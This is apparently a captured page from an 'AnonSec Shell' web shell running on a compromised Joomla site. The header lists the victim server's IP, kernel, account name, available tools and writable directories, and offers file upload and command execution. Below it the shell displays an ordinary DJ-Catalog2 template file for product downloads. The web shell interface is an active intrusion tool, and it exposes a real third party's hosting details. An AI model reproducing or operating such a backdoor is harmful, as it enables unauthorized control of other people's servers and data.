AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/lorient/components/com_djcatalog2/views/item/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/lorient/components/com_djcatalog2/views/item/tmpl/default_files.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined ('_JEXEC') or die('Restricted access'); ?>

<?php 

$grouppedFiles = array();

foreach($this->item->files as $file) {
	$hash = $file->group_label ? base64_encode($file->group_label) : 0;
	
	if (!isset($grouppedFiles[$hash]))
	{
		$grouppedFiles[$hash] = new stdClass();
		$grouppedFiles[$hash]->label = $file->group_label ? $file->group_label : null;
		$grouppedFiles[$hash]->files = array();
	}
	
	$grouppedFiles[$hash]->files[] = $file;

}
?>
<div class="djc_files">
	<h3><?php echo JText::_('COM_DJCATALOG2_FILES'); ?></h3>
	<?php if ($this->item->product_type == 'virtual' || $this->item->product_type == 'hybrid') {?>
		<div class="alert alert-info">
			<?php echo JText::_('COM_DJCATALOG2_VIRTUAL_PRODUCT_INFO'); ?>
		</div>
	<?php } ?>
	<?php foreach ($grouppedFiles as $group) {?>
		<?php if ($group->label && $group->label != '-') { ?>
		<h4 class="djc_att_group_label"><?php echo $group->label; ?></h4>
		<?php } ?>
		<ul class="unstyled">
		<?php foreach($group->files as $file) {?>
			<li class="djc_file">
				<a target="_blank" role="button" class="button" href="<?php echo $file->source === 'remote' ? $file->fullpath : JRoute::_('index.php?option=com_djcatalog2&format=raw&task=download&fid='.$file->id);?>">
					<span><?php echo htmlspecialchars($file->caption); ?></span>
				</a>
				<?php if ($this->params->get('show_fileinfos_item', 1) > 0 && $file->source === 'local') {?>
				<br />
				<span class="djc_filesize small"><?php echo $file->ext; ?> | <?php echo $file->size; ?> | <?php echo sprintf(JText::_('COM_DJCATALOG2_FILE_HITS'),$file->hits); ?></span>
				<?php } ?>
			</li>
		<?php } ?>
		</ul>
	<?php } ?>
</div>


Anon7 - 2022
AnonSec Team